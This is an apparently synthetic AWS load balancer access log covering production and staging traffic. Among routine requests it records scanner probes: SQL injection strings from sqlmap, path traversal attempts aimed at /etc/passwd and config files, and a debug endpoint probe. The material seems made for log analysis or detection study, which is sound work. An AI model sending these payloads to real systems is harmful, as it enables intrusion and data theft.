TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bab3-051a933eb19e401a873973f0" "staging-alb.example.com" "-" 3 2024-11-01T00:13:23.787773Z "forward" "-" "-" "61.117.135.232:8080" "200" "-" "-" +https 2024-11-01T00:13:23.905284Z prod-web-alb 101.117.141.38:50514 10.0.27.212:443 0.077191 0.120503 0.065260 200 200 726 3805 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bab3-6daa045d00fd42e5acba20d7" "prod-web-alb.example.com" "-" 3 2024-11-01T00:13:23.905284Z "forward" "-" "-" "10.0.27.212:443" "200" "-" "-" +https 2024-11-01T00:13:25.868362Z prod-web-alb 19.98.144.89:52509 10.0.180.255:443 0.020720 0.476529 0.088675 200 200 307 6061 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bab5-fa278ed284314a91999eef57" "prod-web-alb.example.com" "-" 8 2024-11-01T00:13:25.868362Z "forward" "-" "-" "10.0.180.255:443" "200" "-" "-" +https 2024-11-01T00:13:25.978471Z prod-api-alb 12.158.41.117:44113 10.0.109.119:443 0.028546 0.056739 0.071266 200 200 966 8574 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bab5-cd85b6357c184ced95edf113" "prod-api-alb.example.com" "-" 4 2024-11-01T00:13:25.978471Z "forward" "-" "-" "10.0.109.119:443" "200" "-" "-" +http 2024-11-01T00:13:27.511671Z staging-alb 96.214.51.118:17152 238.189.238.234:8080 0.085136 0.588023 0.067919 200 200 249 13960 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bab7-12ba3a4376e84cef89bec7e4" "staging-alb.example.com" "-" 3 2024-11-01T00:13:27.511671Z "forward" "-" "-" "238.189.238.234:8080" "200" "-" "-" +https 2024-11-01T00:13:27.875784Z prod-api-alb 172.157.114.118:53073 10.0.205.247:443 0.036936 0.357095 0.006082 200 200 316 7626 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bab7-36715feb4c7e4fea9367bfb9" "prod-api-alb.example.com" "-" 5 2024-11-01T00:13:27.875784Z "forward" "-" "-" "10.0.205.247:443" "200" "-" "-" +https 2024-11-01T00:13:29.129182Z prod-web-alb 85.245.224.76:36593 10.0.123.194:443 0.072213 0.371863 0.068706 200 200 152 8565 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bab9-22c4dbff6f404cb09637c680" "prod-web-alb.example.com" "-" 2 2024-11-01T00:13:29.129182Z "forward" "-" "-" "10.0.123.194:443" "200" "-" "-" +http 2024-11-01T00:13:29.571032Z staging-alb 131.20.48.129:20587 102.237.121.214:443 0.078931 0.203547 0.113314 200 200 915 13423 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bab9-d3a6c64e0aa24e5fb2e2bdf5" "staging-alb.example.com" "-" 2 2024-11-01T00:13:29.571032Z "forward" "-" "-" "102.237.121.214:443" "200" "-" "-" +http 2024-11-01T00:13:29.839981Z staging-alb 225.13.226.62:43193 175.166.139.97:80 0.074537 0.600854 0.059311 404 404 175 6426 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bab9-803c48092d0c477995c47dd0" "staging-alb.example.com" "-" 4 2024-11-01T00:13:29.839981Z "forward" "-" "-" "175.166.139.97:80" "404" "-" "-" +https 2024-11-01T00:13:31.250831Z staging-alb 145.92.72.238:46255 249.13.126.164:8080 0.096522 0.125624 0.040168 200 200 454 3537 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723babb-028c0f22e1fb454aa63f53bf" "staging-alb.example.com" "-" 2 2024-11-01T00:13:31.250831Z "forward" "-" "-" "249.13.126.164:8080" "200" "-" "-" +http 2024-11-01T00:13:32.799554Z staging-alb 236.198.173.224:11409 124.68.216.88:8080 0.117493 0.231930 0.050658 301 301 319 13520 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723babc-41de3e5e120046b88e9c2546" "staging-alb.example.com" "-" 4 2024-11-01T00:13:32.799554Z "forward" "-" "-" "124.68.216.88:8080" "301" "-" "-" +http 2024-11-01T00:13:34.228026Z staging-alb 115.166.89.178:33126 216.238.132.91:8080 0.047803 0.391650 0.011030 200 200 589 2465 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723babe-ee758608acd84d0fbb7c0e02" "staging-alb.example.com" "-" 10 2024-11-01T00:13:34.228026Z "forward" "-" "-" "216.238.132.91:8080" "200" "-" "-" +https 2024-11-01T00:13:35.634119Z prod-api-alb 86.8.235.44:18744 10.0.164.192:443 0.006091 0.489158 0.035698 200 200 877 1602 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723babf-aeae4294ce3d4da39ebeecff" "prod-api-alb.example.com" "-" 6 2024-11-01T00:13:35.634119Z "forward" "-" "-" "10.0.164.192:443" "200" "-" "-" +https 2024-11-01T00:13:36.822833Z prod-api-alb 187.61.255.23:53253 10.0.67.103:443 0.082904 0.002186 0.046266 302 302 578 3599 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bac0-ba9bd8ecd25e40edb77698d5" "prod-api-alb.example.com" "-" 5 2024-11-01T00:13:36.822833Z "forward" "-" "-" "10.0.67.103:443" "302" "-" "-" +https 2024-11-01T00:13:37.531118Z prod-web-alb 126.255.75.20:37231 10.0.147.178:443 0.049243 0.199901 0.059045 301 301 958 10698 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bac1-23688047f83943e4a296c9ff" "prod-web-alb.example.com" "-" 1 2024-11-01T00:13:37.531118Z "forward" "-" "-" "10.0.147.178:443" "301" "-" "-" +https 2024-11-01T00:13:39.043302Z prod-api-alb 45.155.205.66:16578 10.0.252.56:443 0.023553 0.474783 0.070903 500 500 87 12058 "PUT /debug/pprof HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bac3-7d07b14c72454c37954f835a" "-" "-" 8 2024-11-01T00:13:39.043302Z "forward" "-" "-" "10.0.252.56:443" "500" "-" "-" +https 2024-11-01T00:13:40.467549Z staging-alb 193.27.228.181:56998 181.41.27.153:80 0.001923 0.605627 0.097842 404 404 131 1518 "GET /api/../../../config HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bac4-0332bd1ed0434b16b2999e34" "-" "-" 2 2024-11-01T00:13:40.467549Z "forward" "-" "-" "181.41.27.153:80" "404" "-" "-" +http 2024-11-01T00:13:41.716965Z staging-alb 112.103.166.227:27951 76.247.33.0:8080 0.013411 0.669220 0.041981 404 404 883 6580 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bac5-d5d16b1e619d4d7394dd5b8d" "staging-alb.example.com" "-" 3 2024-11-01T00:13:41.716965Z "forward" "-" "-" "76.247.33.0:8080" "404" "-" "-" +https 2024-11-01T00:13:42.597151Z prod-api-alb 123.129.29.100:32884 10.0.165.165:443 0.019621 0.093905 0.075946 200 200 49 14775 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bac6-73280c8b500941639886bc06" "prod-api-alb.example.com" "-" 9 2024-11-01T00:13:42.597151Z "forward" "-" "-" "10.0.165.165:443" "200" "-" "-" +https 2024-11-01T00:13:42.734034Z prod-web-alb 199.55.163.68:49018 10.0.76.215:443 0.069572 0.071298 0.021631 200 200 512 13062 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bac6-948561ae6c02436ca88386f4" "prod-web-alb.example.com" "-" 5 2024-11-01T00:13:42.734034Z "forward" "-" "-" "10.0.76.215:443" "200" "-" "-" +https 2024-11-01T00:13:44.269537Z prod-api-alb 185.181.118.169:30177 10.0.113.45:443 0.059000 0.150245 0.047985 403 403 711 3907 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bac8-3d95cecd0967436ea7e28982" "-" "-" 6 2024-11-01T00:13:44.269537Z "forward" "-" "-" "10.0.113.45:443" "403" "-" "-" +https 2024-11-01T00:13:45.174700Z prod-api-alb 185.181.76.214:44778 10.0.140.201:443 0.064288 0.334955 0.054060 200 200 848 1589 "POST /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bac9-6001db4c4eb1457dbe48886b" "-" "-" 10 2024-11-01T00:13:45.174700Z "forward" "-" "-" "10.0.140.201:443" "200" "-" "-" +https 2024-11-01T00:13:46.686427Z staging-alb 61.110.118.163:21865 91.206.221.50:8080 0.117035 0.261444 0.008193 200 200 617 9965 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baca-086289322e634d3b8f81240e" "staging-alb.example.com" "-" 2 2024-11-01T00:13:46.686427Z "forward" "-" "-" "91.206.221.50:8080" "200" "-" "-" +https 2024-11-01T00:13:48.230523Z prod-web-alb 120.84.30.221:19279 10.0.85.160:443 0.044440 0.062752 0.081462 301 301 990 2246 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bacc-78829db27e5749a4b7340af2" "prod-web-alb.example.com" "-" 6 2024-11-01T00:13:48.230523Z "forward" "-" "-" "10.0.85.160:443" "301" "-" "-" +https 2024-11-01T00:13:49.987348Z prod-web-alb 87.37.85.251:18252 10.0.69.56:443 0.083690 0.078829 0.006470 200 200 304 1799 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bacd-17226c79aafa42c29f369b79" "prod-web-alb.example.com" "-" 8 2024-11-01T00:13:49.987348Z "forward" "-" "-" "10.0.69.56:443" "200" "-" "-" +https 2024-11-01T00:13:50.511164Z prod-api-alb 193.27.228.181:29597 10.0.248.37:443 0.070397 0.210221 0.034586 403 403 828 385 "GET /static/../../secret HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bace-8488faf405e849b88abe6b25" "-" "-" 5 2024-11-01T00:13:50.511164Z "forward" "-" "-" "10.0.248.37:443" "403" "-" "-" +https 2024-11-01T00:13:51.437499Z prod-web-alb 95.158.22.133:49890 10.0.109.93:443 0.038824 0.416688 0.019921 200 200 177 4086 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bacf-83976a8f4e4845d5b6beb462" "prod-web-alb.example.com" "-" 6 2024-11-01T00:13:51.437499Z "forward" "-" "-" "10.0.109.93:443" "200" "-" "-" +https 2024-11-01T00:13:52.767871Z staging-alb 45.114.201.43:49644 203.130.66.180:80 0.097798 0.385061 0.053047 301 301 719 5973 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bad0-e5fea554d96948eb9311682b" "staging-alb.example.com" "-" 10 2024-11-01T00:13:52.767871Z "forward" "-" "-" "203.130.66.180:80" "301" "-" "-" +https 2024-11-01T00:13:53.984010Z prod-api-alb 193.27.228.135:45531 10.0.168.48:443 0.034916 0.433140 0.041482 403 403 37 8863 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bad1-596cd1b420be43529b58cf6f" "-" "-" 10 2024-11-01T00:13:53.984010Z "forward" "-" "-" "10.0.168.48:443" "403" "-" "-" +https 2024-11-01T00:13:55.125088Z staging-alb 29.183.205.71:33774 40.64.201.116:80 0.095888 0.717624 0.086747 200 200 836 1940 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bad3-acf235089dbb4fc9b9eb1999" "staging-alb.example.com" "-" 4 2024-11-01T00:13:55.125088Z "forward" "-" "-" "40.64.201.116:80" "200" "-" "-" +http 2024-11-01T00:13:57.013784Z staging-alb 207.22.181.242:17128 153.28.176.230:8080 0.090767 0.432204 0.130786 302 302 41 7001 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bad5-9c62f7b9e7a24babb2406437" "staging-alb.example.com" "-" 8 2024-11-01T00:13:57.013784Z "forward" "-" "-" "153.28.176.230:8080" "302" "-" "-" +https 2024-11-01T00:13:58.759457Z prod-web-alb 35.41.218.153:22192 10.0.25.127:443 0.000582 0.154722 0.078421 301 301 609 4991 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bad6-adb224e4ccf447aea51f04b8" "prod-web-alb.example.com" "-" 1 2024-11-01T00:13:58.759457Z "forward" "-" "-" "10.0.25.127:443" "301" "-" "-" +http 2024-11-01T00:13:59.973868Z staging-alb 10.117.138.224:40334 166.159.63.250:443 0.036817 0.380447 0.131050 200 200 88 3538 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bad7-72267284185c4cc2b36c1e51" "staging-alb.example.com" "-" 5 2024-11-01T00:13:59.973868Z "forward" "-" "-" "166.159.63.250:443" "200" "-" "-" +http 2024-11-01T00:14:01.502332Z staging-alb 50.161.69.225:44388 228.154.230.244:8080 0.088445 0.620724 0.041285 302 302 168 2286 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bad9-b81f66c4111b4495a59856d4" "-" "-" 8 2024-11-01T00:14:01.502332Z "forward" "-" "-" "228.154.230.244:8080" "302" "-" "-" +https 2024-11-01T00:14:03.309826Z prod-api-alb 253.60.224.132:19106 10.0.125.11:443 0.052809 0.485254 0.065698 404 404 326 7733 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723badb-a61fd96ba4c340d39a6f61b2" "prod-api-alb.example.com" "-" 2 2024-11-01T00:14:03.309826Z "forward" "-" "-" "10.0.125.11:443" "404" "-" "-" +https 2024-11-01T00:14:03.723833Z staging-alb 201.161.35.119:63055 194.152.85.226:443 0.006413 0.679142 0.042746 301 301 914 11300 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723badb-d103af2ba5654895a9494646" "staging-alb.example.com" "-" 3 2024-11-01T00:14:03.723833Z "forward" "-" "-" "194.152.85.226:443" "301" "-" "-" +http 2024-11-01T00:14:04.501467Z staging-alb 137.94.64.91:54072 35.32.222.254:443 0.126010 0.162133 0.094198 200 200 533 6716 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723badc-f3380d954f2d415183dd56c3" "staging-alb.example.com" "-" 0 2024-11-01T00:14:04.501467Z "forward" "-" "-" "35.32.222.254:443" "200" "-" "-" +https 2024-11-01T00:14:05.046492Z prod-api-alb 154.132.239.231:21547 10.0.131.28:443 0.082729 0.482330 0.074526 200 200 236 7940 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723badd-78e763ac25ec4d02bdf01518" "prod-api-alb.example.com" "-" 7 2024-11-01T00:14:05.046492Z "forward" "-" "-" "10.0.131.28:443" "200" "-" "-" +https 2024-11-01T00:14:05.567060Z prod-api-alb 185.181.118.169:19832 10.0.132.214:443 0.002316 0.400039 0.085302 500 500 279 9735 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723badd-ac5ebe41d1cc4d44a1a7e3a7" "-" "-" 1 2024-11-01T00:14:05.567060Z "forward" "-" "-" "10.0.132.214:443" "500" "-" "-" +https 2024-11-01T00:14:05.703565Z staging-alb 71.214.184.13:47857 71.212.158.82:8080 0.107431 0.154327 0.030558 200 200 673 11874 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723badd-bd369a015a544a4da9aa0784" "staging-alb.example.com" "-" 2 2024-11-01T00:14:05.703565Z "forward" "-" "-" "71.212.158.82:8080" "200" "-" "-" +https 2024-11-01T00:14:06.354130Z prod-api-alb 166.19.94.213:13320 10.0.162.157:443 0.094597 0.338732 0.095272 301 301 711 8394 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bade-1080e9421639484b84e37462" "prod-api-alb.example.com" "-" 5 2024-11-01T00:14:06.354130Z "forward" "-" "-" "10.0.162.157:443" "301" "-" "-" +https 2024-11-01T00:14:06.711718Z staging-alb 59.11.109.100:24426 216.153.137.138:80 0.029382 0.476876 0.062692 200 200 567 9085 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bade-d4e3d96d009b4710a4f84111" "staging-alb.example.com" "-" 8 2024-11-01T00:14:06.711718Z "forward" "-" "-" "216.153.137.138:80" "200" "-" "-" +https 2024-11-01T00:14:07.237599Z prod-api-alb 172.192.5.101:12170 10.0.191.184:443 0.086273 0.040960 0.074750 200 200 573 1155 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723badf-e15c9e3f02394c8e850c8371" "prod-api-alb.example.com" "-" 5 2024-11-01T00:14:07.237599Z "forward" "-" "-" "10.0.191.184:443" "200" "-" "-" +https 2024-11-01T00:14:08.814204Z staging-alb 61.170.196.59:33578 27.139.97.215:80 0.138928 0.268568 0.063751 301 301 620 529 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bae0-2f663d48c4e344b792f333ff" "staging-alb.example.com" "-" 5 2024-11-01T00:14:08.814204Z "forward" "-" "-" "27.139.97.215:80" "301" "-" "-" +http 2024-11-01T00:14:10.466687Z staging-alb 211.131.11.245:31126 142.108.199.227:80 0.139862 0.143930 0.069352 200 200 85 14417 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bae2-3e4457c9ca9846609319601b" "staging-alb.example.com" "-" 2 2024-11-01T00:14:10.466687Z "forward" "-" "-" "142.108.199.227:80" "200" "-" "-" +http 2024-11-01T00:14:12.139997Z staging-alb 246.214.203.0:10846 241.192.14.7:80 0.109003 0.446761 0.094576 200 200 758 7257 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bae4-60f6d8ad3acb464e943b935d" "staging-alb.example.com" "-" 1 2024-11-01T00:14:12.139997Z "forward" "-" "-" "241.192.14.7:80" "200" "-" "-" +https 2024-11-01T00:14:13.644507Z prod-api-alb 199.178.179.172:31547 10.0.40.240:443 0.073281 0.052846 0.019431 200 200 946 8414 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bae5-0dec789f0b2543e683b3d235" "prod-api-alb.example.com" "-" 7 2024-11-01T00:14:13.644507Z "forward" "-" "-" "10.0.40.240:443" "200" "-" "-" +http 2024-11-01T00:14:14.308700Z staging-alb 173.180.93.51:55156 89.175.150.35:80 0.135554 0.476299 0.096505 404 404 250 728 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bae6-e406f61cd8464651aecc3759" "staging-alb.example.com" "-" 10 2024-11-01T00:14:14.308700Z "forward" "-" "-" "89.175.150.35:80" "404" "-" "-" +https 2024-11-01T00:14:14.997347Z prod-api-alb 85.69.39.128:14670 10.0.28.56:443 0.075787 0.396432 0.068152 200 200 401 14877 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bae6-2b1308835fcc425397715d72" "prod-api-alb.example.com" "-" 1 2024-11-01T00:14:14.997347Z "forward" "-" "-" "10.0.28.56:443" "200" "-" "-" +https 2024-11-01T00:14:16.036666Z prod-web-alb 47.86.221.36:64755 10.0.89.81:443 0.030864 0.046028 0.014171 200 200 605 3577 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bae8-bd713975a0704e8fad1302f7" "prod-web-alb.example.com" "-" 10 